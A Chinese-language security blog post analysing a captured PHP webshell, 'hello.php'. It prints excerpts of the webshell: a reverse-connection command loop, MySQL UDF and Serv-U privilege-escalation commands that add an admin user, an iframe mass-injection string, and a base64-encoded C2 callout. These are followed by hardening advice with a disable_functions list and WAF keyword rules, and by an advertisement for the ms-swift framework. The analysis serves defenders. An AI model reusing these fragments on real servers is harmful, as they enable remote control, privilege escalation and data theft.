发现并分析一款PHP木马后门程序
在一次常规的服务器安全巡检中,我们捕获到一个名为hello.php的可疑脚本。它没有复杂的加密壳或混淆层,却以一种近乎挑衅的方式宣告自己的存在——第一行代码就是注释:; //无需验证密码!。这并非疏忽,而是一种精准的战术选择:攻击者清楚地知道,真正危险的不是隐藏得有多深,而是能在被发现前完成多少操作。
这个看似简单的 PHP 文件,实则是一个功能完整、架构清晰的远程控制终端(WebShell),集成了文件管理、命令执行、数据库提权、批量挂马、反向代理等多重攻击能力。更令人警惕的是,它的设计思路已经超越了传统“一句话木马”的范畴,展现出模块化、图形化、持久化的现代恶意软件特征。
从技术实现来看,该后门在初始化阶段就完成了多个关键动作:
<?php ;//无需验证密码! $shellname='hello~地球~猴子星球欢迎你 '; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=gb2312"); @set_time_limit(0); ob_start(); define('envlpass',$password); define('shellname',$shellname); define('myurl',$myurl); if(@get_magic_quotes_gpc()){ foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v); foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v); }这段代码虽短,但每一行都有明确目的。error_reporting(E_ERROR | E_PARSE)抑制错误输出,避免暴露路径信息;set_time_limit(0)解除脚本执行时间限制,确保长时间任务不会中断;强制使用 GB2312 编码,则暗示其主要针对中文操作系统环境部署。
值得注意的是,尽管定义了$password和envlpass常量,但整个流程并未进行任何身份验证。这意味着任意用户均可直接访问并操控该后门,属于典型的“免认证型 WebShell”。这种设计常见于已突破边界防护的第二阶段渗透场景——此时攻击者追求的是效率而非隐蔽性。
此外,通过get_magic_quotes_gpc()对输入参数做转义清理,是为了兼容老版本 PHP 环境,防止特殊字符导致命令截断或语法错误。虽然这一机制在 PHP 5.4+ 已被移除,但保留此逻辑说明作者对目标环境有充分预判,极可能针对的是老旧系统或未及时升级的企业内网应用。
多模块远程控制架构
该后门采用 GET 参数驱动的方式实现功能路由,结构上类似轻量级 C2 控制台:
if(isset($_GET['down'])) do_down($_GET['down']); if(isset($_GET['pack'])){ $dir = do_show($_GET['pack']); $zip = new eanver($dir); $out = $zip->out; do_download($out,"eanver.tar.gz"); } if(isset($_GET['unzip'])){ css_main(); start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']); exit; }这种基于 URL 参数的功能分发模式,使得每个接口都像一个独立 API 端点,便于自动化调用和集成到更大的攻击框架中。
文件下载与批量导出
?down=参数支持任意文件读取与下载,可绕过 Web 根目录限制,常用于窃取敏感配置文件,如wp-config.php、.env或/etc/passwd。结合?pack=功能,还能将整个网站目录打包为.tar.gz文件导出,极大提升了数据窃取效率。
其中使用的自定义压缩类eanver并非标准库,而是嵌入式实现,避免依赖外部扩展被禁用所影响。这也反映出攻击者的工程思维:尽可能减少对外部组件的依赖,提升在受限环境下的存活能力。
压缩包解压与二次投递
?unzip=接口允许上传 ZIP 或 TAR 包并在服务端解压,若配合写权限,即可实现二次木马植入。例如,攻击者可先上传一个伪装成图片的压缩包,再通过此功能将其释放为新的 WebShell,完成权限维持与横向移动。
这类操作在实际攻防中极为常见,尤其适用于 WAF 对 PHP 文件上传严格拦截的场景。由于压缩包本身不包含可执行代码,往往能绕过静态检测规则。
整个控制面板由左侧菜单栏驱动,通过$_GET['eanver']参数决定加载哪个功能模块,形成完整的图形化攻击界面。这种 UI 友好的设计降低了使用门槛,即使是初级攻击者也能快速上手。
核心攻击能力深度解析
文件管理系统:具备自动修复能力的持久控制
该后门内置了一个完整的 Web 文件浏览器,支持浏览磁盘根目录(Windows 下自动探测 C: 至 Z:)、查看文件属性、多选操作(复制/删除/重命名)、修改时间戳以及在线编辑文本文件。
最值得关注的是其文件写入函数的设计:
function do_write($file,$t,$text){ $key = true; $handle = @fopen($file,$t); if(!@fwrite($handle,$text)) { @chmod($file,0666); // 自动解除只读 $key = @fwrite($handle,$text) ? true : false; } @fclose($handle); return $key; }当写入失败时,会尝试调用chmod(0666)提升文件权限后再试一次。这种“自动修复”机制显著增强了其在受限环境中的适应性。比如某些日志文件或配置文件默认为只读,普通 WebShell 写入即失败,而该后门则能主动解除保护,继续完成篡改任务。
此外,编辑器还支持 GBK/UTF-8 编码转换,避免因编码问题导致页面乱码或脚本崩溃,体现出较高的工程完成度。
系统侦察:为横向移动铺路的情报收集
case "info_f":模块专门用于收集服务器指纹信息,包括:
- 操作系统类型(PHP_OS)
- 当前客户端 IP 与服务器公网 IP
- 最大上传尺寸、内存限制、脚本执行时限
- 已禁用函数列表(判断是否可执行
exec/system/passthru) - 数据库扩展支持情况(MySQLi、PostgreSQL、SQLite 等)
这些信息不仅帮助攻击者评估当前环境的风险等级,更重要的是为后续提权和横向移动提供决策依据。
特别值得注意的是,该后门还会尝试读取注册表中常见的服务端口:
- Terminal Services(远程桌面)端口
- Telnet 服务端口
- PcAnywhere 服务端口
一旦发现这些服务开启,攻击者便可进一步尝试暴力破解或利用已知漏洞建立更稳定的控制通道。这种“侦察先行”的策略,正是高级持续性威胁(APT)的标准打法。
远控终端:获得交互式 shell 的关键跳板
case "nc":实现了 Netcat 类似的反弹连接功能:
$fp=fsockopen($mip , $bport , $errno, $errstr); if (!$fp){ ... } else { fputs ($fp ," [r00t@H4c3ing:/root]# "); while(!feof($fp)){ $result= fgets ($fp, 4096); $message=`$result`; // 执行系统命令 fputs ($fp,"--> ".$message."\n"); } fclose ($fp); }一旦成功建立 TCP 长连接,攻击者就能接收外部指令并返回执行结果,相当于获得了服务器的交互式 shell。即使disable_functions列表中禁用了常见命令执行函数,只要fsockopen未被禁用,仍可通过此类自制协议绕过限制。
这种轻量级远控方式的优势在于:不需要额外上传二进制程序,完全基于 PHP 原生函数实现,兼容性强且难以被杀软识别。
数据库提权套件:突破权限边界的利器
MYSQL 提权(case "myexp")
当拥有 MySQL root 权限时,该后门可通过写入 DLL 并创建自定义函数实现命令执行:
CREATE FUNCTION state RETURNS STRING SONAME 'mysqlDll.dll'; SELECT state('whoami');这种方法巧妙绕过了 PHP 层面的disable_functions限制,因为命令是在数据库进程中执行的。只要 MySQL 服务以高权限运行(如 SYSTEM),攻击者就能借此提权至操作系统层面。
不过该方法依赖特定版本的 MySQL 和动态库支持,在现代云环境中成功率较低,但在一些老旧的 Windows Server + PHP + MySQL 架构中仍有较大威胁。
Serv-U 提权(case "servu")
针对旧版 Serv-U FTP 服务存在的本地命令执行漏洞(如 CVE-2015-9284),该后门通过本地 socket 发送构造命令,实现添加管理员账户或执行系统命令。
示例协议包如下:
SITE MAINTENANCE -SETDOMAIN -PortNo=43958 ... SITE EXEC net user admin 123 /add此类攻击通常发生在同一台服务器同时运行 Web 服务和 FTP 服务的场景下。由于 Serv-U 默认监听本地回环地址,攻击者需先获取 WebShell 才能发起本地连接。这也说明该后门是整条攻击链中的中间环节,而非初始入口。
批量挂马与清马:蠕虫式传播能力
case "guama":支持对指定目录下的.html,.php,.jsp等文件批量注入恶意脚本:
$codet = "<iframe src=\"http://localhost/eanver.htm\" width=\"1\" height=\"1\"></iframe>";这种 iframe 隐蔽加载方式常用于挂载钓鱼页面或挖矿脚本。更进一步的是,该功能也支持“反向清除”,即删除已注入的内容。这表明该后门不仅用于攻击,还可作为“清理工具”在任务完成后抹除痕迹,具备自我维护与撤离能力。
这种双向操作逻辑,常见于僵尸网络控制节点或竞品清除行为中,显示出较强的组织性和策略性。
在线代理:隐藏真实来源的跳板
case "getcode":内置了一个简易 HTTP 代理功能:
<input name="url" value="about:blank" type="text"> <iframe name="proxyframe" src="about:blank"></iframe>攻击者可通过该接口,让受控服务器代为访问目标 URL。虽然不支持 Cookie 和相对资源加载,无法完整渲染复杂页面,但仍可用于发起扫描请求、探测内网服务或访问钓鱼站点而不暴露真实 IP。
在红队演练中,这种“代理跳板”常被用来规避 IP 封禁和行为审计,尤其是在需要模拟多地访问或规避地理限制的场景下非常有效。
隐蔽性与反检测机制
图标伪装系统
function css_img($img){ header('Content-type: image/gif'); echo base64_decode($images[$img]); die(); }所有文件类型图标均由 PHP 动态生成 base64 编码的小型 GIF 图像,避免静态资源暴露。这种方式不仅能绕过基于文件扩展名的检测规则,还能防止攻击者上传的真实资源被搜索引擎收录或被安全设备抓取分析。
JavaScript 加密交互
前端大量使用eval()和字符串拼接来隐藏真实逻辑。例如文件批量处理弹窗提示框均经过加密处理,只有在运行时才会动态还原,极大增加了静态逆向难度。
这也是当前主流 WebShell 的通用做法——将敏感操作逻辑下沉至客户端,并通过混淆+加密双重手段保护核心代码。
分布式控制跳板
该后门包含明显的外联行为:
$copyurl = base64_decode('aHR0cDovL3d3dy50cm95cGxhbi5jb20vcC5hc3B4P249'); $re=file_get_contents($url);试图连接外部 C2 地址上报主机信息,构建僵尸网络集群。Base64 编码的 URL 明显是为了规避日志监控中的关键词匹配规则,属于典型的 C2 通信隐蔽技术。
威胁评级与防御建议
| 项目 | 评分 |
|---|---|
| 免密登录 | ⭐⭐⭐⭐⭐ |
| 文件操作能力 | ⭐⭐⭐⭐☆ |
| 命令执行能力 | ⭐⭐⭐⭐⭐ |
| 数据库提权支持 | ⭐⭐⭐⭐☆ |
| 持久化驻留机制 | ⭐⭐⭐☆☆ |
| 反检测能力 | ⭐⭐⭐⭐ |
综合来看,这是一款高危级别的 WebShell 工具,具备完整的攻击链条支撑能力。其模块化设计、图形化界面和自动化逻辑,已接近商业级远程控制软件水平。
🔐 安全加固建议
立即隔离受感染主机
- 断开网络连接,防止横向扩散
- 使用专业查杀工具(如 D盾、河马)全面扫描检查并禁用危险函数
ini disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source严格限制文件上传目录权限
- 不允许执行 PHP 脚本
- 设置 open_basedir 隔离定期审计日志
- 查看 Apache/Nginx 访问日志中是否存在/hello.php?eanver=...类似请求
- 关注异常 POST 提交、频繁的文件读写行为部署 WAF 规则
添加规则拦截包含fsockopen,gzinflate,base64_decode,create_function等关键词的请求。升级至现代框架开发模式
推荐使用基于容器化、微服务和 CI/CD 的现代化应用架构,减少传统 PHP 手工部署带来的安全隐患。
从被动防御到主动免疫:AI 驱动的安全进化
面对如此复杂且高度工程化的攻击工具,传统的“打补丁”式防护已显得力不从心。我们需要的不再是事后响应,而是能够提前识别、自动拦截、智能决策的主动免疫体系。
正如魔搭社区推出的ms-swift框架所倡导的理念:
“将模型能力转化为可用系统”,同样应延伸至安全领域——我们将“威胁分析能力”转化为“自动化防御系统”。
ms-swift是面向大模型与多模态模型工程化落地的统一训练与部署框架,覆盖 600+ 纯文本大模型与 300+ 多模态大模型,支持 Qwen、Llama、Mistral、DeepSeek、InternVL 等主流架构,真正实现“Day0 支持”。
更重要的是,它提供了完整的安全智能体训练能力:
- 利用GRPO族强化学习算法(GRPO、DAPO、GSPO、RLOO)训练安全策略引擎
- 构建基于Embedding + Reranker的异常流量识别系统
- 结合vLLM/SGLang推理加速引擎实现实时入侵检测响应(IDS/IPS)
借助 ms-swift 的 WebUI 界面训练能力,即使是非算法背景的安全工程师,也能上传攻击样本日志,一键完成“恶意行为分类模型”的微调与部署。
设想这样一个场景:
- 当某台服务器出现hello.php?down=/etc/passwd请求时,
- 后台运行的 AI 安全 Agent 立即识别为“WebShell 下载行为”,
- 调用预设策略自动封禁 IP、通知 SOC 并启动取证流程。
这才是真正的“主动免疫”体系。
最后提醒:本文仅供学习交流,请勿用于非法用途。维护网络安全,人人有责。